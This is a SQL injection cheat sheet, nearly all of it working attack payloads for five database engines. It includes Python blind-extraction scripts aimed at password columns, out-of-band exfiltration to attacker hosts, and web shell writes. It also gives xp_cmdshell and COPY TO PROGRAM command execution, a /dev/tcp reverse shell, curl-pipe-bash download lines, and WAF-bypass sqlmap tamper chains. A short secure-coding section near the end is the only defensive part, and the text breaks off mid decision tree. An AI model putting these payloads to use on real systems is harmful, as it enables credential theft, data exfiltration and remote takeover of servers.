SQL Injection

# Quick version queries after access is confirmed:
# MySQL:
' UNION SELECT @@version -- -
# MSSQL:
' UNION SELECT @@version -- -
# PostgreSQL:
' UNION SELECT version() -- -
# Oracle:
' UNION SELECT banner FROM v$version WHERE ROWNUM=1 -- -
# SQLite:
' UNION SELECT sqlite_version() -- -

-- Method 1: ORDER BY (increment until error)
' ORDER BY 1 -- -
' ORDER BY 2 -- -
' ORDER BY 3 -- -   ← error here means 2 columns
' ORDER BY 4 -- -

-- Method 2: UNION SELECT NULLs (increment until no error)
' UNION SELECT NULL -- -
' UNION SELECT NULL,NULL -- -
' UNION SELECT NULL,NULL,NULL -- -

-- Replace NULLs one by one with a string marker
' UNION SELECT 'a',NULL,NULL -- -
' UNION SELECT NULL,'a',NULL -- -
' UNION SELECT NULL,NULL,'a' -- -
-- Whichever 'a' appears in the page = that column is rendered

-- ── MySQL ──
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users -- -
' UNION SELECT NULL,GROUP_CONCAT(table_name SEPARATOR ','),NULL FROM information_schema.tables WHERE table_schema=database() -- -

-- ── PostgreSQL ──
' UNION SELECT NULL,version(),NULL -- -
' UNION SELECT NULL,STRING_AGG(table_name,','),NULL FROM information_schema.tables WHERE table_schema='public' -- -

-- ── MSSQL ──
' UNION SELECT NULL,@@version,NULL -- -
' UNION SELECT NULL,name,NULL FROM master.sys.databases -- -

-- ── Oracle ──
' UNION SELECT NULL,banner,NULL FROM v$version WHERE ROWNUM=1 -- -
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE ROWNUM=1 -- -

-- ── SQLite ──
' UNION SELECT NULL,sqlite_version(),NULL -- -
' UNION SELECT NULL,tbl_name,NULL FROM sqlite_master WHERE type='table' -- -

-- EXTRACTVALUE — most common
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT version()),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT database()),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 1),0x7e)) -- -

-- UPDATEXML
' AND UPDATEXML(1337,CONCAT(0x7e,(SELECT version()),0x7e),31337) -- -

-- GTID_SUBSET
' AND GTID_SUBSET(CONCAT(0x7e,(SELECT version()),0x7e),1337) -- -

-- EXP
' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7e,(SELECT version()),0x7e,'x'))x)) -- -

-- FLOOR + RAND (group by error)
' OR 1 GROUP BY CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2)) HAVING MIN(0) -- -

-- CAST to NUMERIC
' AND 1=CAST((SELECT version()) AS INT) -- -
' AND 1337=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS NUMERIC) -- -
' AND 1337=CAST((SELECT password FROM users LIMIT 1) AS INT) -- -

-- Type conversion shorthand
' AND CAST((SELECT version()) AS INT)=1337 -- -
' AND (SELECT version())::int=1 -- -

-- CONVERT type mismatch
' AND 1=CONVERT(INT,(SELECT @@version)) -- -
' AND 1337=CONVERT(INT,(SELECT TOP 1 table_name FROM information_schema.tables)) -- -
' AND 1337=CONVERT(INT,(SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users')) -- -
' AND 1337=CONVERT(INT,(SELECT TOP 1 CONCAT(username,':',password) FROM users)) -- -

-- IN error
' AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -

-- UTL_INADDR (requires privilege)
' AND 1337=UTL_INADDR.GET_HOST_ADDRESS('~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~') -- -

-- XMLType
' AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~'||CHR(62))) FROM DUAL) -- -

-- CTXSYS
' AND 1337=CTXSYS.DRITHSX.SN(1337,'~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~') -- -

-- Should return TRUE (normal response):
' AND 1=1 -- -
' AND 'a'='a' -- -

-- Should return FALSE (different/empty response):
' AND 1=2 -- -
' AND 'a'='b' -- -

-- If those two responses differ → boolean injection confirmed

-- Cause a DB error if condition is TRUE → error = condition is true
-- MySQL:
' AND 1=(SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),1)) -- -

-- PostgreSQL:
' AND 1=(SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE 1 END) -- -

-- MSSQL:
' AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END) -- -

-- Oracle:
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual) -- -

-- SQLite:
' AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END) -- -

-- Generic pattern: test if Nth char of result matches a value
-- Replace CONDITION with actual data query

-- MySQL:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77 -- -

-- PostgreSQL:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77 -- -

-- MSSQL:
' AND SUBSTRING((SELECT TOP 1 password FROM users WHERE username='admin'),1,1)='a' -- -
' AND UNICODE(SUBSTRING((SELECT TOP 1 password FROM users WHERE username='admin'),1,1))>77 -- -

-- Oracle:
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND RAWTOHEX(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1))>'61' -- -

-- SQLite:
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND UNICODE(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1))>77 -- -

import requests

TARGET = "https://target.com/products?category="
TRUE_INDICATOR = "Gift"   # string that appears in TRUE responses

def oracle(payload):
    """Returns True if payload is TRUE"""
    r = requests.get(TARGET + f"Gifts{payload}", timeout=10)
    return TRUE_INDICATOR in r.text

def extract_string(query, max_len=50):
    result = ""
    for pos in range(1, max_len + 1):
        # Binary search for ASCII value
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            # MySQL syntax:
            payload = f"' AND ASCII(SUBSTRING(({query}),{pos},1))>{mid} -- -"
            if oracle(payload):
                lo = mid + 1
            else:
                hi = mid
        char = chr(lo) if lo != 32 else ""
        if not char:
            break
        result += char
        print(f"[+] Character {pos}: {char} → {result}")
    return result

# Extract current database name
db = extract_string("SELECT database()")
print(f"\n[+] Database: {db}")

# Extract first password
pw = extract_string("SELECT password FROM users LIMIT 1")
print(f"\n[+] Password: {pw}")

import requests, time, statistics

TARGET = "https://target.com/products?category="
SLEEP_SECONDS = 5
PROBES = 3

def time_oracle(payload, threshold=SLEEP_SECONDS * 0.8):
    """Returns True if payload causes a delay"""
    times = []
    for _ in range(PROBES):
        t0 = time.time()
        try:
            requests.get(TARGET + f"Gifts{payload}", timeout=SLEEP_SECONDS * 3)
        except:
            pass
        times.append(time.time() - t0)
    return statistics.median(times) >= threshold

def extract_string_time(query, max_len=50):
    result = ""
    for pos in range(1, max_len + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            # MySQL conditional sleep:
            payload = (
                f"' AND (SELECT 1337 FROM "
                f"(SELECT(SLEEP({SLEEP_SECONDS}-(IF("
                f"(ASCII(SUBSTRING(({query}),{pos},1))>{mid}),0,{SLEEP_SECONDS})))"
                f") r) -- -"
            )
            if time_oracle(payload):
                lo = mid + 1
            else:
                hi = mid
        char = chr(lo) if lo != 32 else ""
        if not char:
            break
        result += char
        print(f"[+] Position {pos}: {char} → {result}")
    return result

db = extract_string_time("SELECT database()")
print(f"\n[+] Database: {db}")

-- ── MSSQL ── (most reliable for OOB)
'; DECLARE @q VARCHAR(1024);
SET @q=(SELECT TOP 1 password FROM users);
EXEC('master..xp_dirtree "//'+@q+'.COLLABORATOR.oastify.com/a"') -- -

-- One-liner MSSQL:
'; declare @p varchar(1024);set @p=(SELECT TOP 1 password FROM users);exec('master..xp_dirtree "//'+@p+'.COLLABORATOR.oastify.com/a"') -- -

-- ── Oracle ──
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ENTITY % rr SYSTEM "http://'||(SELECT password FROM users WHERE ROWNUM=1)||'.COLLABORATOR.oastify.com/"> %rr;]>'),'/l') FROM dual -- -

-- ── PostgreSQL ──
'; CREATE OR REPLACE FUNCTION f() RETURNS void AS $$
DECLARE c text; DECLARE p text;
BEGIN SELECT password INTO p FROM users LIMIT 1;
c := 'copy (SELECT '''') to program ''nslookup '||p||'.COLLABORATOR.oastify.com''';
EXECUTE c; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT f(); -- -

-- ── MySQL (via UTL_HTTP if available, Windows UNC path) ──
' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\', (SELECT password FROM users LIMIT 1), '.COLLABORATOR.oastify.com\\a')) -- -

# Install:
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start listener:
interactsh-client
# → Gives you a unique domain like: abc123.oast.fun

# Use abc123.oast.fun in your OOB payloads
# interactsh-client will print DNS/HTTP interactions received

-- If this causes a 10-second delay → stacked queries work:
'; WAITFOR DELAY '0:0:10' -- -                 -- MSSQL
'; SELECT PG_SLEEP(10) -- -                    -- PostgreSQL
'; SELECT SLEEP(10) -- -                       -- MySQL
'; SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) -- -  -- SQLite

-- MSSQL — most powerful (xp_cmdshell, file writes, OOB):
'; IF(1=1) WAITFOR DELAY '0:0:5' -- -
'; IF((SELECT COUNT(*) FROM users WHERE username='admin')>0) WAITFOR DELAY '0:0:5' -- -

-- PostgreSQL:
'; SELECT (CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 1 END) -- -

-- MySQL:
'; SELECT IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0) -- -

-- ── MySQL ──
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users -- -
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL FROM users -- -

-- ── PostgreSQL ──
' UNION SELECT NULL,username||':'||password,NULL FROM users -- -
' UNION SELECT NULL,STRING_AGG(username||':'||password,chr(10)),NULL FROM users -- -

-- ── MSSQL ──
' UNION SELECT NULL,username+':'+password,NULL FROM users -- -
' UNION SELECT NULL,(SELECT STRING_AGG(username+':'+password,',') FROM users),NULL -- -

-- ── Oracle ──
' UNION SELECT NULL,username||':'||password,NULL FROM users WHERE ROWNUM=1 -- -
' UNION SELECT NULL,LISTAGG(username||':'||password,',') WITHIN GROUP (ORDER BY 1),NULL FROM users -- -

-- ── SQLite ──
' UNION SELECT NULL,username||':'||password,NULL FROM users LIMIT 1 -- -
' UNION SELECT NULL,GROUP_CONCAT(username||':'||password,','),NULL FROM users -- -

-- MySQL file read in UNION:
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL -- -
' UNION SELECT NULL,LOAD_FILE('/etc/shadow'),NULL -- -
' UNION SELECT NULL,LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts'),NULL -- -

-- PostgreSQL:
' UNION SELECT NULL,PG_READ_FILE('/etc/passwd'),NULL -- -
' UNION SELECT NULL,PG_READ_FILE('/home/postgres/.bash_history'),NULL -- -

-- MSSQL (stacked):
'; SELECT BulkColumn FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) r -- -

-- ── MySQL ──
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php' -- -
' UNION SELECT NULL,'<?php system($_REQUEST["c"]); ?>',NULL INTO DUMPFILE '/var/www/html/c.php' -- -

-- Find writable web root first:
' UNION SELECT NULL,'test',NULL INTO OUTFILE '/var/www/html/test.txt' -- -

-- ── PostgreSQL ──
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' -- -

-- ── MSSQL — write via OLE automation (requires Ole Automation Procedures enabled) ──
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
DECLARE @fso INT, @file INT;
EXEC sp_oacreate 'Scripting.FileSystemObject', @fso OUT;
EXEC sp_oamethod @fso,'OpenTextFile',@file OUT,'C:\inetpub\wwwroot\shell.asp',8,1;
EXEC sp_oamethod @file,'WriteLine',NULL,'<%execute(request("cmd"))%>';
EXEC sp_oadestroy @file; EXEC sp_oadestroy @fso -- -

-- Enable xp_cmdshell (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE -- -

-- Execute command:
'; EXEC xp_cmdshell 'whoami' -- -
'; EXEC xp_cmdshell 'powershell -enc <BASE64_PAYLOAD>' -- -

-- Reverse shell via xp_cmdshell:
'; EXEC xp_cmdshell 'powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"' -- -

-- Get output (store in temp table):
'; CREATE TABLE #output (data NVARCHAR(4000));
INSERT INTO #output EXEC xp_cmdshell 'whoami';
SELECT data FROM #output -- -

-- Requires superuser:
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt' -- -
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' -- -
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh|bash' -- -

-- Read command output:
'; CREATE TABLE cmd_output (data text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output -- -

-- Requires CREATE JOB privilege:
'; BEGIN DBMS_SCHEDULER.CREATE_JOB(
    job_name => 'RCE_JOB',
    job_type => 'EXECUTABLE',
    job_action => '/bin/bash',
    number_of_arguments => 3,
    enabled => FALSE
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('RCE_JOB',1,'-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('RCE_JOB',2,'id>/tmp/rce.txt');
DBMS_SCHEDULER.ENABLE('RCE_JOB');
END; -- -

-- Via OS_COMMAND package (if available):
' UNION SELECT os_command.exec_clob('id') FROM dual -- -

-- Login field payloads (Username field):
admin'--
admin'-- -
admin'#
admin'/*
' OR 1=1 -- -
' OR '1'='1
' OR '1'='1'--
admin' OR '1'='1
admin' OR 1=1 -- -
') OR ('1'='1
' OR 1=1#
" OR "1"="1
' OR 'x'='x
1' OR '1'='1
' UNION SELECT 1,1,1 -- -

-- Both username and password:
-- Username: admin'--
-- Password: anything

-- Username: ' OR 1=1 LIMIT 1 -- -
-- Password: anything

# Test login with SQLi in both fields:
curl -s -X POST https://target.com/login \
    --data "username=admin'--+-&password=anything"

curl -s -X POST https://target.com/login \
    --data "username=admin&password=' OR '1'='1"

# Register with payloads in every field and look for effects later:
# Username: sleep_test' AND SLEEP(5) AND 'x'='x
# Then trigger queries that use the username

# Profile update that reflects data back:
# Enter in "First Name": test'+(SELECT 1 FROM (SELECT SLEEP(5))a)+'
# Then view profile — if delay occurs when viewing, SQLi in read path

# SQLMap second-order:
sqlmap -u "https://target.com/update_profile" \
    --data="name=FUZZ" \
    --second-url="https://target.com/view_profile" \
    --second-req second_request.txt

# GET parameter:
sqlmap -u "https://target.com/products?id=1"

# POST parameter:
sqlmap -u "https://target.com/login" --data="user=admin&pass=pass"

# Specify parameter:
sqlmap -u "https://target.com/products?id=1&cat=2" -p id

# Cookie injection:
sqlmap -u "https://target.com/profile" --cookie="session=abc123"

# Header injection:
sqlmap -u "https://target.com/" --headers="X-Forwarded-For: *"
sqlmap -u "https://target.com/" -H "User-Agent: *"

# Auto-detect (default)
sqlmap -u "https://target.com/?id=1" --dbms=mysql
sqlmap -u "https://target.com/?id=1" --dbms=postgresql
sqlmap -u "https://target.com/?id=1" --dbms=mssql
sqlmap -u "https://target.com/?id=1" --dbms=oracle
sqlmap -u "https://target.com/?id=1" --dbms=sqlite

# Current database / user
sqlmap -u "https://target.com/?id=1" --current-db
sqlmap -u "https://target.com/?id=1" --current-user
sqlmap -u "https://target.com/?id=1" --hostname
sqlmap -u "https://target.com/?id=1" --is-dba       # are we DBA?
sqlmap -u "https://target.com/?id=1" --privileges    # list privs

# List databases:
sqlmap -u "https://target.com/?id=1" --dbs

# List tables in DB:
sqlmap -u "https://target.com/?id=1" -D dbname --tables

# List columns in table:
sqlmap -u "https://target.com/?id=1" -D dbname -T users --columns

# Dump table:
sqlmap -u "https://target.com/?id=1" -D dbname -T users --dump

# Dump all:
sqlmap -u "https://target.com/?id=1" --dump-all

# Dump specific columns:
sqlmap -u "https://target.com/?id=1" -D dbname -T users -C username,password --dump

# Specify technique (B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline)
sqlmap -u "https://target.com/?id=1" --technique=BEUST

# Time-based: increase sleep time (good for slow networks)
sqlmap -u "https://target.com/?id=1" --technique=T --time-sec=8

# Union only (faster if you know it works):
sqlmap -u "https://target.com/?id=1" --technique=U --union-cols=3

# Specify union char:
sqlmap -u "https://target.com/?id=1" --union-char=NULL

# Basic HTTP auth:
sqlmap -u "https://target.com/?id=1" --auth-type=Basic --auth-cred="admin:password"

# Bearer token:
sqlmap -u "https://target.com/?id=1" --headers="Authorization: Bearer <TOKEN>"

# CSRF token handling:
sqlmap -u "https://target.com/login" \
    --data="user=admin&pass=test&csrf=TOKEN" \
    --csrf-token=csrf \
    --csrf-url="https://target.com/login"

# Use saved request from Burp (copy as raw):
sqlmap -r request.txt

# Random user agent:
sqlmap -u "https://target.com/?id=1" --random-agent

# Delay between requests:
sqlmap -u "https://target.com/?id=1" --delay=2

# Randomize requests:
sqlmap -u "https://target.com/?id=1" --randomize=id

# Tamper scripts (chain multiple):
sqlmap -u "https://target.com/?id=1" --tamper=space2comment
sqlmap -u "https://target.com/?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "https://target.com/?id=1" --tamper=charunicodeencode,space2comment,randomcase

# Increase aggressiveness:
sqlmap -u "https://target.com/?id=1" --level=5 --risk=3
# level 1-5: how many places to test (default 1)
# risk 1-3:  how risky payloads to use (default 1)

# List all tampers:
sqlmap --list-tampers

# Key tampers and what they do:
# space2comment     → replaces spaces with /**/
# randomcase        → RaNdOmIzEs case of keywords
# between           → replaces > with NOT BETWEEN 0 AND
# charunicodeencode → unicode-encodes non-standard chars
# base64encode      → base64-encodes payload (rare use)
# equaltolike       → replaces = with LIKE
# greatest          → replaces > with GREATEST()
# ifnull2ifisnull   → replaces IFNULL with IF(ISNULL)
# modsecurityversioned → versioned MySQL comments
# percentage        → adds % before each char (IIS bypass)
# plus2concat       → replaces + with CONCAT() (MSSQL)
# space2dash        → replaces space with -- \n
# space2mssqlblank  → replaces space with random blank char
# space2mysqldash   → replaces space with -- \n (MySQL)
# unmagicquotes     → widens chars to bypass magic_quotes
# versionedmorekeywords → MySQL versioned keywords

# Read file:
sqlmap -u "https://target.com/?id=1" --file-read="/etc/passwd"
sqlmap -u "https://target.com/?id=1" --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts"

# Write file (web shell):
sqlmap -u "https://target.com/?id=1" \
    --file-write="shell.php" \
    --file-dest="/var/www/html/shell.php"

# OS shell (interactive):
sqlmap -u "https://target.com/?id=1" --os-shell

# OS cmd (single command):
sqlmap -u "https://target.com/?id=1" --os-cmd="id"

# Meterpreter shell:
sqlmap -u "https://target.com/?id=1" --os-pwn

# Second-order injection:
sqlmap -u "https://target.com/update" \
    --data="name=test" \
    --second-url="https://target.com/profile"

# Custom injection marker (*):
sqlmap -u "https://target.com/api/user" \
    --data='{"id":"*"}' \
    -H "Content-Type: application/json"

# Injection in JSON array:
sqlmap -u "https://target.com/api" \
    --data='{"ids":["1*"]}' \
    -H "Content-Type: application/json"

# Hex encoding all payloads:
sqlmap -u "https://target.com/?id=1" --hex

# Proxy through Burp:
sqlmap -u "https://target.com/?id=1" --proxy="http://127.0.0.1:8080" --ignore-proxy=False

# Batch mode (no interactive prompts):
sqlmap -u "https://target.com/?id=1" --batch --dbs

# Save and resume:
sqlmap -u "https://target.com/?id=1" --dbs --save=session.sqlmap
sqlmap -u "https://target.com/?id=1" --session=session.sqlmap

-- URL encoding:
' UNION SELECT NULL,version(),NULL -- -
→ %27%20UNION%20SELECT%20NULL%2Cversion%28%29%2CNULL%20--%20-

-- Double URL encoding:
%2527 UNION SELECT...

-- Unicode encoding:
' → %u0027
space → %u0020

-- Hex encoding keywords:
SELECT → 0x53454c454354

-- HTML entity encoding (rare, context-dependent):
' → '

-- Case variation:
SeLeCt  uSeR()
UNION -> uNiOn, UnIoN

-- Comment injection to break keywords:
UN/**/ION SEL/**/ECT
UN/**/ION/**/ SEL/**/ECT/**/ NULL,version(),NULL --/**/-

-- MySQL versioned comments (execute only on MySQL):
/*!UNION*/ /*!SELECT*/ NULL,version(),NULL -- -
/*!50000UNION*//*!50000SELECT*/ NULL,version(),NULL -- -

-- Whitespace alternatives:
-- Tab (%09), newline (%0a), carriage return (%0d), form feed (%0c)
UNION%09SELECT%0aNULL,version(),NULL--%20-
UNION%0aSELECT%09NULL,version(),NULL--%20-

# HTTP parameter pollution:
# WAF reads first, app concatenates both:
GET /products?id=1&id=UNION SELECT...
GET /products?id=1 UNION&id= SELECT version() -- -

# Chunked transfer encoding:
# Some WAFs don't reassemble chunked body:
curl -X POST https://target.com/login \
    --data "user=admin" \
    -H "Transfer-Encoding: chunked"

# Content-Type confusion:
# Send JSON with form content-type:
curl -X POST https://target.com/login \
    -H "Content-Type: application/json" \
    --data '{"username":"admin'"'"' OR 1=1-- -","password":"x"}'

# Large padding to push payload past WAF buffer:
# Add 8000+ chars before payload

-- UNION bypass:
UNiOn SeLeCt
UN/**/ION /**/SEL/**/ECT
%55NION %53ELECT
UNION%20ALL%20SELECT

-- WHERE bypass:
WH/**/ERE
WHERE -> HAVING (in some contexts)

-- AND/OR bypass:
&&  (URL: %26%26)
||  (URL: %7C%7C)
AND -> &&
OR  -> ||

-- SLEEP bypass (MySQL):
SLEEP(5) → BENCHMARK(5000000,MD5(1))

-- Quotes bypass:
'admin' → 0x61646d696e (hex)
'admin' → CHAR(97,100,109,105,110)

-- Space bypass:
SELECT/**/version()
SELECT%09version()
SELECT%0aversion()

# Full tamper chain for aggressive WAF bypass:
sqlmap -u "https://target.com/?id=1" \
    --tamper="between,charunicodeencode,equaltolike,greatest,\
randomcase,space2comment,unmagicquotes" \
    --random-agent \
    --delay=1.5 \
    --level=5 \
    --risk=3 \
    --technique=BEUST \
    --time-sec=8 \
    --batch

-- Stacked queries (PHP mysqli_multi_query or Python):
'; INSERT INTO users (username,password) VALUES ('hacker','hacked') -- -

-- Reading files:
UNION SELECT LOAD_FILE('/etc/passwd')

-- Writing files:
UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/c.php'

-- Useful tables:
mysql.user                  -- user credentials (hashed)
information_schema.tables   -- all tables
information_schema.columns  -- all columns

-- Get MySQL users:
' UNION SELECT NULL,CONCAT(user,0x3a,authentication_string),NULL FROM mysql.user -- -

-- Get MySQL grants:
' UNION SELECT NULL,CONCAT(CURRENT_USER(),' has FILE: ',IF(@@global.secure_file_priv='','YES','NO')),NULL -- -

-- DNS OOB (Windows only):
' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\', version(), '.attacker.com\\\\a')) -- -

-- Time-safe format:
' AND (SELECT 1337 FROM (SELECT(SLEEP(5-(IF((condition),0,5))))) r) -- -

-- Can't be stopped from stacking:
'; SELECT PG_SLEEP(5) -- -

-- Large object file read (superuser):
'; SELECT lo_import('/etc/passwd') -- -
'; SELECT lo_get(<loid>) -- -

-- Copy to file (write webshell):
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' -- -

-- Copy from program (RCE):
'; COPY cmd_out FROM PROGRAM 'id' -- -

-- Extensions:
'; CREATE EXTENSION IF NOT EXISTS dblink -- -
'; SELECT * FROM dblink('host=attacker.com ...', 'SELECT 1') -- -

-- Useful tables:
pg_tables               -- all tables
information_schema.tables
pg_shadow               -- password hashes (superuser only)

-- Get PostgreSQL version:
' UNION SELECT NULL,version(),NULL -- -

-- Check if superuser:
' UNION SELECT NULL,current_setting('is_superuser'),NULL -- -

-- Enable xp_cmdshell:
'; EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE -- -

-- Execute OS command:
'; EXEC xp_cmdshell 'whoami' -- -

-- Linked servers (lateral movement):
'; EXEC ('SELECT @@version') AT [LINKED_SERVER_NAME] -- -
'; SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT @@version') -- -

-- Useful tables:
master.sys.databases     -- all databases
information_schema.tables
sys.sql_logins           -- SQL Server logins
sys.server_principals    -- server-level principals

-- Get password hashes:
'; SELECT name,password_hash FROM sys.sql_logins -- -

-- DNS OOB (no elevation needed):
'; EXEC master..xp_dirtree '\\COLLABORATOR.oastify.com\a' -- -

-- OPENROWSET OOB:
'; SELECT * FROM OPENROWSET('SQLNCLI','server=COLLABORATOR.oastify.com;uid=sa;pwd=sa','SELECT 1') -- -

-- MSSQL error-based (easy):
' AND 1=CONVERT(INT,(SELECT @@version)) -- -

-- FROM DUAL required for standalone queries:
' UNION SELECT NULL,banner,NULL FROM v$version WHERE ROWNUM=1 -- -

-- No stacked queries. All SQLi via UNION, error-based, OOB, or blind.

-- All tables:
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE ROWNUM=1 -- -
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE owner='DBNAME' AND ROWNUM=1 -- -

-- All columns:
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1 -- -

-- Users and hashes:
' UNION SELECT NULL,name||':'||password,NULL FROM sys.user$ WHERE ROWNUM=1 -- -

-- UTL_HTTP (OOB / SSRF — requires ACL):
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual -- -

-- XMLType OOB (older installs — unpatched):
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY % r SYSTEM "http://'||(SELECT password FROM users WHERE ROWNUM=1)||'.attacker.com/"> %r;]>'),'/l') FROM dual -- -

-- DBMS_SCHEDULER RCE:
'; BEGIN DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1',job_type=>'EXECUTABLE',
job_action=>'/bin/bash',number_of_arguments=>2,enabled=>FALSE);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1',1,'-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1',2,'curl http://attacker.com/shell.sh|bash');
DBMS_SCHEDULER.ENABLE('J1'); END; -- -

-- Schema:
' UNION SELECT NULL,tbl_name,NULL FROM sqlite_master WHERE type='table' -- -
' UNION SELECT NULL,sql,NULL FROM sqlite_master WHERE tbl_name='users' -- -
' UNION SELECT NULL,name,NULL FROM pragma_table_info('users') -- -

-- Single file — no concept of multiple databases
-- No xp_cmdshell, no file write natively (unless extension loaded)
-- Stacked queries supported (when app uses multi-statement exec)

-- Time-based (compute-heavy randomblob):
' AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000)))) -- -

-- Boolean error (integer overflow):
' AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END) -- -

-- Dump all:
' UNION SELECT NULL,GROUP_CONCAT(tbl_name,','),NULL FROM sqlite_master WHERE type='table' -- -

# ── Python (psycopg2 / mysql-connector) ──
# VULNERABLE:
query = f"SELECT * FROM users WHERE username = '{username}'"

# SAFE:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

# ── PHP ──
# VULNERABLE:
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

# SAFE (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

# ── Java (JDBC) ──
# SAFE:
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

# ── C# (.NET) ──
# SAFE:
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM users WHERE id = @id", conn);
cmd.Parameters.AddWithValue("@id", userId);

# ORDER BY cannot use parameters — use allowlist:
ALLOWED_COLUMNS = ['name', 'price', 'date']
ALLOWED_DIRS = ['ASC', 'DESC']

col = request.args.get('sort')
direction = request.args.get('dir', 'ASC')

if col not in ALLOWED_COLUMNS or direction not in ALLOWED_DIRS:
    abort(400)

query = f"SELECT * FROM products ORDER BY {col} {direction}"
# Safe because we validated against allowlist

-- MSSQL safe stored procedure (still parameterized):
CREATE PROCEDURE GetUser @username NVARCHAR(50)
AS
    SELECT * FROM users WHERE username = @username
-- Called as: EXEC GetUser 'admin'
-- NOT safe if procedure internally uses EXEC() with concatenation

Found a potential injection point?
│
├── Test Break & Repair → confirmed SQLi
│
├── Is there output in the page?
│ ├── YES + error messages visible?
│ │ └── Error-based → fastest extraction
│ └── YES + data reflected in response?
